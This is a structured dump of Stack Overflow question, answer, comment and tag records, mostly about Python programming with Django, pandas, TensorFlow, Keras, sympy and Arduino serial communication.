http://stackoverflow.com/comment/85913929
type: QuestionComment
comment on: http://stackoverflow.com/q/49455467
score: 0
has text: No, it´s different. Please read the conditions
type: Comment

http://stackoverflow.com/comment/86166939
type: Comment
score: 0
has text: @Bryan: That makes a lot of sense—and as always, thank you for the insight into how tkinter works.
type: QuestionComment
comment on: http://stackoverflow.com/q/49540386

http://stackoverflow.com/comment/86198065
has text: @EricKim I hope this answer has taught you something. Good luck!
type: AnswerComment
comment on: http://stackoverflow.com/a/49595279
score: 1
type: Comment

http://stackoverflow.com/comment/86109836
score: 1
has text: So what is that lonely `result(first1, second2)` between `result` and `main` supposed to do and how do you expect it to know what `first1` and `second2` are?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49551258

http://stackoverflow.com/comment/85936442
comment on: http://stackoverflow.com/a/49461710
type: AnswerComment
score: 0
type: Comment
has text: This is awesome, thanks. I assume the reason I couldn't reproduce it was because my Mac automatically allocated a block of 0s.

http://stackoverflow.com/comment/85920641
comment on: http://stackoverflow.com/q/49458872
score: 2
has text: ...because your `age.setter` sets `_age`
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/130469416
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49565080
has text: @Upchanges By default, selenium does not use any user agent most of the times. That means websites detect you as you are using a non recognized web browser. Changing the user agent with a widely used web browser's user agent, will avoid that.

http://stackoverflow.com/comment/85987107
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49490017
score: 0
has text: Why all answers are marked down? If they do not answer your question satisfactorily, then perhaps your question is not clear enough. At least, they attempted to answer your question and help!

http://stackoverflow.com/comment/86025974
has text: No, but why would you want to? The queryset is a list of instances, each of which has a `get_status_display()` method already, so you can just call it.
type: Comment
comment on: http://stackoverflow.com/q/49510953
score: 0
type: QuestionComment

http://stackoverflow.com/q/49525761
has comment: http://stackoverflow.com/comment/86058339
has title: Django: How is a RelatedManager object instantiated?
type: UnansweredQuestion
tagged with: python
has body: Suppose I have two models: Book and Author. If I now added a ForeignKey field to Book connecting it to Author, and instantiated a Book object - then I also have access to that Book object through the Author object it is connected to (via .book_set, if no related_name specified). From what I have understood reading the documentation, this access is provided through a Related Manager object on the Author object. When is that RelatedManager-object created? Or is it already an object on each Author object, but gets connected to each Book object upon instantiation of a new Book? If so, how does it get connected to the Book object? This is not mentioned in the documentation to my knowledge. In the documentation: If a model has a ForeignKey, instances of the foreign-key model will have access to a Manager that returns all instances of the first model.
score: 4
upvote count: 4
linked to: http://stackoverflow.com/q/58481893
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/49528878
tagged with: django
has comment: http://stackoverflow.com/comment/127239529
favorite count: 0
type: Question
tagged with: model

http://stackoverflow.com/q/49566565
tagged with: tensorflow
favorite count: 0
type: Question
has title: Append inverse_scale NN output and model.predict_classes output into a csv
type: UnansweredQuestion
tagged with: neural-network
upvote count: 1
tagged with: python
tagged with: keras
has body: I have trained a Neural Network and I want to append the prediction values to inverse_scaled test data so I can check the predictions vs the original feature values. However, when I run the code, the following line: Xtest["prediciton"] = pred throws the following error: IndexError: only integers, slices (`:`), ellipsis (`...`), numpy.newaxis (`None`) and integer or boolean arrays are valid indices I believe that is because after the following line, Xtest becomes a np.array: Xtest = scaler.inverse_transform(Xtest) Here's the full code: import keras import numpy from keras.models import Sequential from keras.layers import Dense, Dropout, Activation from keras.optimizers import SGD import pandas as pd import numpy as np import matplotlib from matplotlib import style import matplotlib.pyplot as plt from sklearn.model_selection import train_test_split from IPython.core.display import display from sklearn.preprocessing import MinMaxScaler matplotlib.style.use('ggplot') data_num = pd.read_csv('mult_test.csv') print(data_num.head(n=10)) scaler = MinMaxScaler(feature_range=(0, 1)) features = data_num.drop(['Label1'], axis=1, errors='ignore') features = pd.DataFrame(scaler.fit_transform(features)) scale_num_data = pd.concat([data_num['Label1'], features], axis=1) dtrain, dtest = train_test_split(scale_num_data, test_size=0.25, random_state=570) X = dtrain.drop(['Label1'], axis=1, errors='ignore') y = dtrain['Label1'] Xtest = dtest.drop(['Label1'], axis=1, errors='ignore') Xtest.to_csv('X_test_1.csv') ytest = dtest['Label1'] model = Sequential([ Dense(10, input_shape=(4, ), activation='relu'), Dense(32, activation='relu'), Dense(10, activation='softmax') ]) model.summary() model.compile(optimizer='rmsprop', loss='sparse_categorical_crossentropy', metrics=['accuracy']) model.fit(X, y, epochs=10, batch_size=10, shuffle=True) scores = model.evaluate(Xtest, ytest, batch_size=5) print("%s: %.2f%%" % (model.metrics_names[1], scores[1]*100)) pred = model.predict_classes(Xtest) Xtest …
has answer: http://stackoverflow.com/a/49567088
tagged with: pandas
score: 1
answer count: 1
downvote count: 0

http://stackoverflow.com/q/49533573
type: Question
tagged with: python-3.x
score: 1
has comment: http://stackoverflow.com/comment/86073816
has body: I have the following code which spellchecks words using a binary search. It compares the file to be spell checked to a file which is a dictionary and returns all mispelled words. The spellchecker worked when i printed the misspelled words to the terminal but now im writing it to a file it is only finding a fraction of the words. Iv also implemented a timer to time the search import re import time start_time = time.time() f1=open('writefile.txt', 'w+') def binS(lo,hi,target): if (lo&gt;=hi): return False mid = (lo+hi) // 2 piv = words[mid] if piv==target: return True if piv&lt;target: return binS(mid+1,hi,target) return binS(lo,mid,target) words = [s.strip("\n").lower() for s in open("words10k.txt")] words.sort() # sort the list text = open("shakespeare.txt" , encoding="utf8") content = text.read().split(" ") content = [item.lower() for item in content] content = ' '.join(content) content = re.findall("[a-z]+", content) for w in content: if not binS(0,len(words),w): f1.write(w) print("--- %s seconds ---" % (time.time() - start_time)) I had this segment of code before which worked by printing to the terminal. (also how could I write 1 word per line in the write out file) for w in content: if not binS(0,len(words),w): print(w) Search time by printing to the terminal : 2000 seconds Search time by writing to a file : 38 seconds
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49533688
has answer: http://stackoverflow.com/a/49533688
downvote count: 0
answer count: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/86073461
favorite count: 0
has title: Data being cut off when writing to a file in Python

euclidean-distance
type: Tag
tags question: http://stackoverflow.com/q/49540586
tag name: euclidean-distance

http://stackoverflow.com/comment/86060968
type: AnswerComment
comment on: http://stackoverflow.com/a/49527502
has text: I added some code, can you check and let me know what should I do?
score: 0
type: Comment

http://stackoverflow.com/comment/85901220
has text: Use a html parser, extract the desired ` ` tags, update their contents, and rebuild the html.
type: Comment
comment on: http://stackoverflow.com/q/49448919
type: QuestionComment
score: 0

http://stackoverflow.com/comment/86061696
has text: Good to know that my working example may be a coincidence. Actually using the run script of win_unicode_console to enable it did not change anything in the first place. After that I tried to change the codepage and that worked but maybe I should check out some chinese letters or the like. I gues they will only work with your suggested combination of win_unicode_console and chcp.
comment on: http://stackoverflow.com/q/49445992
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/125897786
comment on: http://stackoverflow.com/a/53573372
type: AnswerComment
has text: Bad practice as tightly coupled to the private workings of boto3. This no longer works with boto3 version 1.21.4.
score: 0
type: Comment

http://stackoverflow.com/comment/85908510
comment on: http://stackoverflow.com/a/49442715
score: 1
type: Comment
type: AnswerComment
has text: just wanna say that in the end everything went fine: [graph](https://imgur.com/WgHMtPS)

http://stackoverflow.com/comment/86044605
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49519532
has text: because `'$175'` is string, not number.

http://stackoverflow.com/a/49479217
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49479075
answers question: http://stackoverflow.com/q/49479075
type: Answer
score: 2
upvote count: 2
has body: You need to set the DJANGO_SETTINGS_MODULE environment variable and call django.setup() before you can import your models. import os import django # Change mysite if your project has a different name os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'mysite.settings') django.setup() from polls.models import Question, Choice ... See the docs for more info. Another option is to write a custom management command. When you use manage.py to run your management command you don't have to set DJANGO_SETTINGS_MODULE or call django.setup().

connection
tags question: http://stackoverflow.com/q/49575194
tag name: connection
tags question: http://stackoverflow.com/q/49542839
type: Tag
tags question: http://stackoverflow.com/q/49528905
tags question: http://stackoverflow.com/q/49508903

http://stackoverflow.com/a/49580365
has comment: http://stackoverflow.com/comment/86168843
upvote count: 1
has comment: http://stackoverflow.com/comment/86169004
has comment: http://stackoverflow.com/comment/86169047
has comment: http://stackoverflow.com/comment/86168972
answers question: http://stackoverflow.com/q/49580179
has comment: http://stackoverflow.com/comment/86168786
has comment: http://stackoverflow.com/comment/86168984
type: Answer
has comment: http://stackoverflow.com/comment/86168821
has comment: http://stackoverflow.com/comment/86169277
has body: Here's a way using collections.Counter: Suppose the string you provided was stored in a variable s. First we iterate over the set of all lower case letters in s. We do this by making another string s_lower which will convert the string s to lowercase. We then wrap this with the set constructor to get unique values. For each char, we iterate through the string and check to see if the previous letter is equal to char. If so, we store this in a list. Finally, we pass this list into the collections.Counter constructor which will count the occurrences. Each counter is stored in a dictionary, counts, where the keys are the unique characters in the string. from collections import Counter counts = {} s_lower = s.lower() for char in set(s_lower): counts[char] = Counter( [c for i, c in enumerate(s_lower) if i &gt; 0 and s_lower[i-1] == char] ) For your string, this has the following outputs: &gt;&gt;&gt; print(counts['s']) #Counter({'i': 1, 'e': 1, 'o': 1}) &gt;&gt;&gt; print(counts['o']) #Counter({' ': 2, 'd': 1, 'n': 1, 'u': 1}) One caveat is that this method will iterate through the whole string for each unique character, which could potentially make it slow for large lists. Here is an alternative approach using collections.Counter and collections.defaultdict that only loops through the string once: from collections import defaultdict, Counter def count_letters(s): s_lower = s.lower() counts = defaultdict(Counter) for i in range(len(s_lower) - 1): curr_char = s_lower[i] next_char = s_lower[i+1] counts[curr_char].update(next_char) return counts counts = count_letters(s) We loop over each character in the string (except the last) and on each iteration we update a counter using the next character.
score: 1
downvote count: 0

http://stackoverflow.com/q/49581416
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86171417
has title: Issue with serial communication Arduino and python3
accepted answer: http://stackoverflow.com/a/49585339
tagged with: python
has body: I've some problem writing serial bytes from a python code to arduino. The python code had to write to serial port a number that the arduino receive. Python3 code: import serial import time ser = serial.Serial ('/dev/ttyACM0',) ser.baudrate = 115200 ser.write(str(3).encode()) #or (b'3') ser.write(str('\n').encode()) Arduino code: void setup(){ Serial.begin (115200); //Comunicazione seriale 115200 bit servomotore.attach(3); pinMode(2,OUTPUT); pinMode(12,OUTPUT); pinMode(13,OUTPUT); digitalWrite(2,HIGH); digitalWrite(12,HIGH); servomotore.write(180); } /*Il loop comprende due funzioni; sensori e Mappa, attivate ogni 15 gradi di movimento del servomotore, sensori rileva le distanze, Mappa invia i valori al seriale, ogni ciclo del radar produce 24 valori in centimetri*/ void loop() { char buffer[] = {' ',' '}; if (Serial.available() &gt; 0) { Serial.readBytesUntil('n', buffer, 2); int incremento = atoi(buffer); If I run this code I can't see output, no error or print, I need to exit with ctrl+c. Arduino doesn't receive nothing. The Arduino code is longer, this is the only part that I can't understand in this moment, it's only a part of a most complex project
has comment: http://stackoverflow.com/comment/86172255
has comment: http://stackoverflow.com/comment/86171519
downvote count: 0
upvote count: 1
has answer: http://stackoverflow.com/a/49585339
score: 1
answer count: 1
tagged with: arduino
has comment: http://stackoverflow.com/comment/86172781
has comment: http://stackoverflow.com/comment/86171108
has comment: http://stackoverflow.com/comment/86173490
favorite count: 0
type: Question
tagged with: python-3.x

http://stackoverflow.com/q/49584489
tagged with: tensorflow
favorite count: 0
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/51429630
type: UnansweredQuestion
has body: I'm implementing an algorithm involving alternating optimization. That is, at each iteration, the algorithm fetches a data batch, and uses the data batch to optimize two losses sequentially. My current implementation with tf.data.Dataaset and tf.data.Iterator is something like this (which is indeed incorrect as detailed below): data_batch = iterator.get_next() train_op_1 = get_train_op(data_batch) train_op_2 = get_train_op(data_batch) for _ in range(num_steps): sess.run(train_op_1) sess.run(train_op_2) Note that the above is incorrect because each call of sess.run will advance the iterator to get next data batch. So train_op_1 and train_op_2 are indeed using different data batches. I cannot do something like sess.run([train_op_1, train_op_2]) either, because the two optimization steps need to be sequential (i.e., the 2nd optimization step depends on the latest variable value by the 1st optimization step.) I'm wondering is there any way to somehow "freeze" the iterator, so that it won't advance in a sess.run call?
has title: How to reuse a data batch from iterator.get_next()
has answer: http://stackoverflow.com/a/55072266
has comment: http://stackoverflow.com/comment/87038162
has comment: http://stackoverflow.com/comment/86180314
score: 3
upvote count: 3
tagged with: deep-learning
downvote count: 0
tagged with: python

http://stackoverflow.com/q/49443354
has comment: http://stackoverflow.com/comment/85888438
score: 1
type: Question
accepted answer: http://stackoverflow.com/a/49444735
downvote count: 0
answer count: 1
upvote count: 1
tagged with: python
favorite count: 0
tagged with: opencv
type: AnsweredQuestion
has title: How to convert raw Y video buffer to image using python?
has body: I have a raw file of Y video plane (y.raw) extracted from raw video frame format YUV (YUV422_SEMI_PLANAR).How to convert this y.raw as image png or jpg ?
has answer: http://stackoverflow.com/a/49444735

http://stackoverflow.com/comment/86188830
type: Comment
has text: It seems to me you can use [`re.sub(r'\b[a-z]', lambda x: x.group().upper(), validatorvalue)`](http://rextester.com/MJCPC32320)
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49589566

http://stackoverflow.com/q/49443018
tagged with: regression
has body: my code for linear regression with 3 features . i had tried to execute in terminal . i got the following error value error:setting an array with a sequence import tensorflow as tf INPUT_XOR=[[1,72,50,33.6],[1,66,31,26.6],[1,64,32,23.3], [1,66,21,28.1],[1,40,33,43.1],[1,74,30,25.6],[1,50,26,31.0], [1,0,29,35.3],[1,70,53,30.5],[96,54,0]] OUTPUT_XOR=[[148],[85],[183],[89],[137],[116],[78],[115],[197],[125]] n_nodes_hl1=10 n_nodes_hl2=1 batch_size=100 x=tf.placeholder('float',[10,4]) y=tf.placeholder('float',[10,1]) def train_neural_network(x): hidden_1_layer= {'weights':tf.Variable(tf.random_uniform([4,n_nodes_hl1],-1.0,1.0)), 'biases':tf.Variable(tf.zeros([n_nodes_hl1]))} output_layer= {'weights':tf.Variable(tf.random_uniform([n_nodes_hl1,n_nodes_hl2], -1.0,1.0)), 'biases':tf.Variable(tf.zeros([n_nodes_hl2]))} l1=tf.add(tf.matmul(x,hidden_1_layer['weights']),hidden_1_layer['biase s']) l1=tf.nn.relu(l1) output=tf.add(tf.matmul(l1,output_layer['weights']),output_layer['biases']) output=tf.sigmoid(output) prediction=output cost=tf.reduce_mean(tf.squared_difference(prediction,y)) optimizer=tf.train.GradientDescentOptimizer(0.01).minimize(cost) hm_epochs=10000 with tf.Session() as sess: init_op=tf.global_variables_initializer() sess.run(init_op) for epoch in range(100001): epoch_loss=0 sess.run(optimizer, feed_dict={x:INPUT_XOR, y:OUTPUT_XOR}) if epoch%10000==0: c=sess.run(cost, feed_dict={x:INPUT_XOR, y:OUTPUT_XOR}) #epoch_loss+=c print('Epoch:', epoch, 'completed out of ',hm_epochs ,'cost', c) print('_'*80) for element in sess.run(prediction, feed_dict= {x:INPUT_XOR, y:OUTPUT_XOR}): print(' ', element) correct=tf.equal(tf.argmax(prediction,1),tf.argmax(y,1)) accuracy=tf.reduce_mean(tf.cast(correct,'float')) print('Accuracy:',accuracy.eval({x:INPUT_XOR, y:OUTPUT_XOR})) train_neural_network(x) output: Traceback (most recent call last): File "", line 1, in File "", line 19, in train_neural_network File "/home/vj/tensorflow/local/lib/python2.7/site- packages/tensorflow/pytho…
has title: value error :setting an array element with a sequence
tagged with: python
score: 0
tagged with: deep-learning
answer count: 1
has answer: http://stackoverflow.com/a/49443348
tagged with: valueerror
tagged with: tensorflow
type: Question
type: UnansweredQuestion

http://stackoverflow.com/tag/pdf
tags question: http://stackoverflow.com/q/49442054
tags question: http://stackoverflow.com/q/49491469
tags question: http://stackoverflow.com/q/49498836
tags question: http://stackoverflow.com/q/49444008
tags question: http://stackoverflow.com/q/49494860
tags question: http://stackoverflow.com/q/49560486
tags question: http://stackoverflow.com/q/49574820
type: Tag
tag name: pdf
tags question: http://stackoverflow.com/q/49459494

http://stackoverflow.com/a/49492761
has body: With Node.id you are accessing a class attribute. You want to store ids as instance attributes by doing self.id. class Node: count = 0 def __init__(self): self.id = Node.count # We want id to be an attribute of that specific node Node.count += 1 About your code I want to point out that your Element.define_element method could be written in a more concise natural way. class Element: ... def define_element(self): self.nodes = [Node() for _ in range(3))] for node in self.nodes: print(node)
upvote count: 2
score: 2
answers question: http://stackoverflow.com/q/49492656
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49492656
type: Answer

http://stackoverflow.com/comment/85956514
score: 2
type: AnswerComment
comment on: http://stackoverflow.com/a/49474322
type: Comment
has text: @VikashSingh 2) now, for the special case of binary `y` only, this formula becomes `-y*log(y_hat) - (1-y)*log(1-y_hat)` (since, for each individual sample, only one term survives, the other being 0), but this is not applicable to your case, which is not binary.

http://stackoverflow.com/a/60418950
has body: You can specify width using table.columns.width, e.g. table.columns.width = 30 or table.columns.width = [20, 30, 40] If the table contains dynamic data, it may be better to increase maxwidth from the default 80: table = BeautifulTable(maxwidth=120) You could also wrap the data yourself with the desired width before putting it to a column. The textwrap stdlib module may be useful for that. For JSON data it may help to pretty-print it with json.dumps(), e.g.: json.dumps(data, indent=2)
answers question: http://stackoverflow.com/q/49454626
upvote count: 3
downvote count: 0
score: 3
type: Answer

http://stackoverflow.com/q/49483748
answer count: 0
has comment: http://stackoverflow.com/comment/85981288
score: 0
has comment: http://stackoverflow.com/comment/85970426
has body: I am working on a dataset which is a 2-Dimensional. The data looks like below. pro packets bytes svc_port durat U N A C E EC F PA R S 0 1 1 32 0 0.0 0 0 0 0 0 0 0 0 0 0 1 6 1 48 80 0.0 0 0 1 0 0 0 0 0 0 1 2 6 1 1440 22 0.0 0 0 1 0 0 0 0 0 0 0 3 6 1 52 80 0.0 0 0 1 0 0 0 0 0 0 0 4 6 1 52 80 0.0 0 0 1 0 0 0 0 0 0 0 I am trying to train a CNN model on this data. The shape of this dataset is (35666, 15) and the filter is (5,5,1,8). When I run the model, I got this error. InvalidArgumentError: Shape must be rank 4 but is rank 2 for 'ConvNet_1_1/Conv2D' (op: 'Conv2D') with input shapes: [?,15], [5,5,1,8]. I am pretty sure that I need to reshape my input. I don't have height or width since I am not using images here. how can I make the input to 4D ?
tagged with: tensorflow
type: Question
tagged with: convolution
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85983515
tagged with: python
has comment: http://stackoverflow.com/comment/85970372
has comment: http://stackoverflow.com/comment/85970391
has title: How to reshape the input for CNN model in Tensorflow ?
has comment: http://stackoverflow.com/comment/85983543

http://stackoverflow.com/a/49585090
downvote count: 0
answers question: http://stackoverflow.com/q/49584917
has comment: http://stackoverflow.com/comment/86178442
has body: You can set the index of each to 'Date' and use combine_first ts1.set_index('Date').combine_first(ts2.set_index('Date')).reset_index() Date Price 0 2010-01-01 1800.0 1 2010-01-02 2000.0 2 2010-01-03 2200.0 3 2010-01-04 1500.0 4 2010-01-05 2010.0 5 2010-01-07 2100.0 6 2010-01-08 1600.0 7 2010-01-09 1400.0 8 2010-01-10 2110.0 If these were Series in the first place, then you could simply ts1.combine_first(ts2)
type: Answer
score: 4
upvote count: 4
has comment: http://stackoverflow.com/comment/86178455

http://stackoverflow.com/comment/86000342
has text: [QGraphicsPixmapItem](https://doc.qt.io/qt-5/qgraphicspixmapitem.html).
comment on: http://stackoverflow.com/q/49497922
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49544623
has comment: http://stackoverflow.com/comment/86097007
has body: I have to make this piece of code work. mean = [] def func(): mean = np.mean(a,axis=0); print mean But on printing mean I get an output []. How can I assign np.mean to mean? PS: I am a beginner in numpy so I am quite confused on how variable assignment works here.
tagged with: python
tagged with: numpy
type: AnsweredQuestion
answer count: 2
has title: Assign numpy array to a pre initialized variable
score: 0
tagged with: arrays
possible better answer: http://stackoverflow.com/a/49544643
upvote count: 1
has answer: http://stackoverflow.com/a/49544643
downvote count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49544656
has answer: http://stackoverflow.com/a/49544656

http://stackoverflow.com/q/49569796
has body: I have installed tableau server on my ubuntu server machine. I'd like to add new users with different roles to that tableau server in python. Is there any way to do that?
answer count: 1
favorite count: 0
type: Question
tagged with: python
tagged with: ubuntu
has title: How can create new user on tableau server in python
upvote count: 4
accepted answer: http://stackoverflow.com/a/49569929
score: 2
type: AnsweredQuestion
downvote count: 2
has answer: http://stackoverflow.com/a/49569929
tagged with: tableau-api

http://stackoverflow.com/q/49578365
score: 0
has body: I am trying to solve a set of equations with sympy. It seems that xv1, yv1, zv1 = v is unpacked correctly. I do not see what list the error code refers to. def vectPerpend(v): import sympy 'find vector in x_y plane perpendicular to the given vector' xv2, yv2 = sympy.symbols ("xv2,yv2") xv1, yv1, zv1 = v return sympy.solve ([xv2 ** 2 + yv2 ** 2 == 1, xv1 * xv2 + yv1 * yv2 == 0], [xv2, yv2], dict=True) print (vectPerpend ([3, 5, 1])) I get this error: File "C:\Python36\lib\site-packages\sympy\solvers\inequalities.py", line 671, in reduce_inequalities symbols = (set(symbols) or gens) &amp; gens TypeError: unhashable type: 'list' `**UPDATE**: the problem was that equations were presented as enequalities. Changing from xv2 ** 2 + yv2 ** 2 == 1 to xv2 ** 2 + yv2 ** 2 - 1 and from xv1 * xv2 + yv1 * yv2 == 0 to xv1 * xv2 + yv1 * yv2 fixed the error.`
has comment: http://stackoverflow.com/comment/86164962
has title: sympy solve error unhashable type: 'list'
has comment: http://stackoverflow.com/comment/86164351
type: Question
tagged with: sympy
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49578641
answer count: 1
tagged with: python

http://stackoverflow.com/comment/86020181
type: Comment
has text: @SomethingSomething you can see the implementation example of Counter [here](https://code.activestate.com/recipes/576611/)
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49507953

http://stackoverflow.com/a/49557438
has comment: http://stackoverflow.com/comment/86153919
type: AcceptedAnswer
has body: The only advantage of using the repeated property would be that you'd avoid the eventual consistency problem: whenever you read a UserActivity or CompanyActivity entity you'll know that you get the complete list of all activities. When using the 1st approach you'd have to make a query to obtain such list and the list may miss very recent activities as the respective query index may not have yet been updated to reflect them. But, in addition to the potential contention problem you mentioned, there is another disadvantage to consider for the repeated property approach: the size of these entities will gradually be increasing as more and more activities are being added to the list, which translates into: progressively slower get()/put() times, so gradually deteriorating overall app performance the risk of hitting the max datastore entity size (~ 1MB, see Limits), which would require additional logic for splitting the list across multiple entities The 3rd approach in particular will also require a less trivial method of obtaining per-user activity reports. I'd stick with the 1st approach, it's the most flexible and scalable approach and the disadvantages are minor: the eventual consistency problem is IMHO not a show-stopper (and there could be ways of reducing its impact) the extra storage space (for the user/company ID properties stored in each Activity entity plus larger indexes due to the higher number of entities) is IMHO well worthy (storage is cheap).
answers question: http://stackoverflow.com/q/49556022
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/49556022
score: 3
upvote count: 3

http://stackoverflow.com/q/49466944
tagged with: machine-learning
upvote count: 1
has answer: http://stackoverflow.com/a/49467392
tagged with: python
has body: I am using LinearRegression(). Below you can see what I have already done to predict new features: lm = LinearRegression() X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.8, random_state=say) lm.fit(X_train, y_train) lm.predict(X_test) scr = lm.score(X_test, y_test) lm.fit(X, y) pred = lm.predict(X_real) Do I really need the line lm.fit(X, y) or can I just go without using it? Also, If I don't need to calculate accuracy, do you think the following approach is better instead using training and testing? (In case I don't want to test): lm.fit(X, y) pred = lm.predict(X_real) Even I am getting 0.997 accuraccy, the predicted value is not close or shifted. Are there ways to make prediction more accurate?
score: 0
has comment: http://stackoverflow.com/comment/85936454
tagged with: scikit-learn
has comment: http://stackoverflow.com/comment/85936678
has comment: http://stackoverflow.com/comment/85937083
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85936628
answer count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85936603
has title: Do I have to use fit() again after training in sklearn?
has answer: http://stackoverflow.com/a/49475072

pytorch
tags question: http://stackoverflow.com/q/49447270
tags question: http://stackoverflow.com/q/49460528
tags question: http://stackoverflow.com/q/49446785
tags question: http://stackoverflow.com/q/49588352
tags question: http://stackoverflow.com/q/49545988
tags question: http://stackoverflow.com/q/49483394
tags question: http://stackoverflow.com/q/49516188
tags question: http://stackoverflow.com/q/49591674
tags question: http://stackoverflow.com/q/49528348
tags question: http://stackoverflow.com/q/49468631
tags question: http://stackoverflow.com/q/49583041
tags question: http://stackoverflow.com/q/49518666
tags question: http://stackoverflow.com/q/49445701
tags question: http://stackoverflow.com/q/49594858
tags question: http://stackoverflow.com/q/49500089
tags question: http://stackoverflow.com/q/49512313
tag name: pytorch
type: Tag

http://stackoverflow.com/a/49588955
accepted answer of: http://stackoverflow.com/q/49442702
type: AcceptedAnswer
type: Answer
has body: We resolved this setup error issue by sending a different set of arguments to the dataflow. Our code is spread across multiple files, so had to create a package for it. If we use --requirements_file, the job will start, but fail eventually, because it wouldn't be able to find the package in the workers. Beam Python SDK sometimes does not throw explicit error message for these instead, it will retry the job and fail. To get your code running with a package, you will need to pass --setup_file argument, which has dependencies listed in it. Make sure package created by python setup.py sdist command includes all the files required by your pipeline code. If you have a privately hosted python package dependency then pass --extra_package with the path to the package.tar.gz file. Better way is to store in a GCS bucket and pass the path here. I have written an example project to get started with Apache Beam Python SDK on Dataflow - https://github.com/RajeshHegde/apache-beam-example Read about it here - https://medium.com/@rajeshhegde/data-pipeline-using-apache-beam-python-sdk-on-dataflow-6bb8550bf366
score: 4
answers question: http://stackoverflow.com/q/49442702
downvote count: 0
upvote count: 4

http://stackoverflow.com/q/49451018
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85904376
has comment: http://stackoverflow.com/comment/85973625
has comment: http://stackoverflow.com/comment/85905573
has comment: http://stackoverflow.com/comment/85973652
has comment: http://stackoverflow.com/comment/85905560
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85905400
tagged with: dataframe
tagged with: python
has comment: http://stackoverflow.com/comment/85909946
score: 0
has comment: http://stackoverflow.com/comment/85973666
has title: Convert type if single column in pandas dataframe
tagged with: pandas
has comment: http://stackoverflow.com/comment/85904473
has comment: http://stackoverflow.com/comment/85909542
has comment: http://stackoverflow.com/comment/86020205
answer count: 1
has answer: http://stackoverflow.com/a/49453516
upvote count: 1
linked to: http://stackoverflow.com/q/49069344
has body: I have a pandas dataframe which has ~40 columns. I need to change the type of one of the columns to float (or numeric) but leave all the other columns unchanged. All of the examples on this site that I've reviewed on this site either offer ways of converting the whole dataframe to a new type or return a single new column in isolation, neither of which is what I want. Currently I'm doing this: df[col] = df[col].astype(float) but this now yields a setcopywithwarning from Pandas. How do I change the type of a single column, in place; or copy the dataframe to a new dataframe, changing the type of one column in the process?

http://stackoverflow.com/q/49493357
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/49493405
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/85990444
has comment: http://stackoverflow.com/comment/85990328
has body: Pandas imports fail when I invoke a script from the command line. I can't identify what is causing this. Can anyone help me out? Thanks in advance! Code import pandas as pd Error root@vultr:~/Repos/solomon# python3 lib/scripts/dummy.py Traceback (most recent call last): File "lib/scripts/dummy.py", line 1, in &lt;module&gt; import pandas as pd File "/usr/local/lib/python3.5/dist-packages/pandas/__init__.py", line 42, in &lt;module&gt; from pandas.core.api import * File "/usr/local/lib/python3.5/dist-packages/pandas/core/api.py", line 10, in &lt;module&gt; from pandas.core.groupby import Grouper File "/usr/local/lib/python3.5/dist-packages/pandas/core/groupby.py", line 50, in &lt;module&gt; from pandas.core.frame import DataFrame File "/usr/local/lib/python3.5/dist-packages/pandas/core/frame.py", line 69, in &lt;module&gt; from pandas.core.generic import NDFrame, _shared_docs File "/usr/local/lib/python3.5/dist-packages/pandas/core/generic.py", line 48, in &lt;module&gt; from pandas.io.formats.format import format_percentiles, DataFrameFormatter File "/usr/local/lib/python3.5/dist-packages/pandas/io/formats/format.py", line 36, in &lt;module&gt; from pandas.io.common import (_get_handle, UnicodeWriter, _expand_user, File "/usr/local/lib/python3.5/dist-packages/pandas/io/common.py", line 484, in &lt;module&gt; def UnicodeReader(f, dialect=csv.excel, encoding="utf-8", **kwds): AttributeError: module 'csv' has no attribute 'excel'
score: 0
tagged with: pandas
has answer: http://stackoverflow.com/a/49493414
has title: Python: Attribute Error When Importing Pandas From a Script

http://stackoverflow.com/comment/86143292
has text: I have to ask. Why do you care that the application windows look different on the two machines?
score: 0
comment on: http://stackoverflow.com/q/49567227
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86323097
type: Comment
has text: @user_seaweed, please accept this answer if it works (green tick on left).
type: AnswerComment
comment on: http://stackoverflow.com/a/49591269
score: 0

http://stackoverflow.com/q/49481141
tagged with: python
has answer: http://stackoverflow.com/a/49481221
type: Question
has answer: http://stackoverflow.com/a/49481197
type: UnansweredQuestion
score: 0
linked to: http://stackoverflow.com/q/2052390
tagged with: error-handling
has title: how to write an exception in python for giving a none value
has comment: http://stackoverflow.com/comment/85965181
answer count: 3
has answer: http://stackoverflow.com/a/49481285
has comment: http://stackoverflow.com/comment/85965213
has body: say I am reading a json file. save_list = [] json_path = '../business.json' js = [json.loads(line) for line in open(json_path)] for item in js: save_dict = {} try: save_dict['name'] = item['name'] save_dict['neighborhood'] = item['neighborhood'] save_dict['city'] = item['city'] The problem is in json file, some lines have no value for 'city' or 'name', which are noise data, but I don't want to remove them. I want to write a exception that can handle this none value, if there is no value, put a none to the value, the save_dict['city'] = none , same as save_dict['name'] = none. How do I write try: exception:?

http://stackoverflow.com/q/49497930
tagged with: keras
favorite count: 0
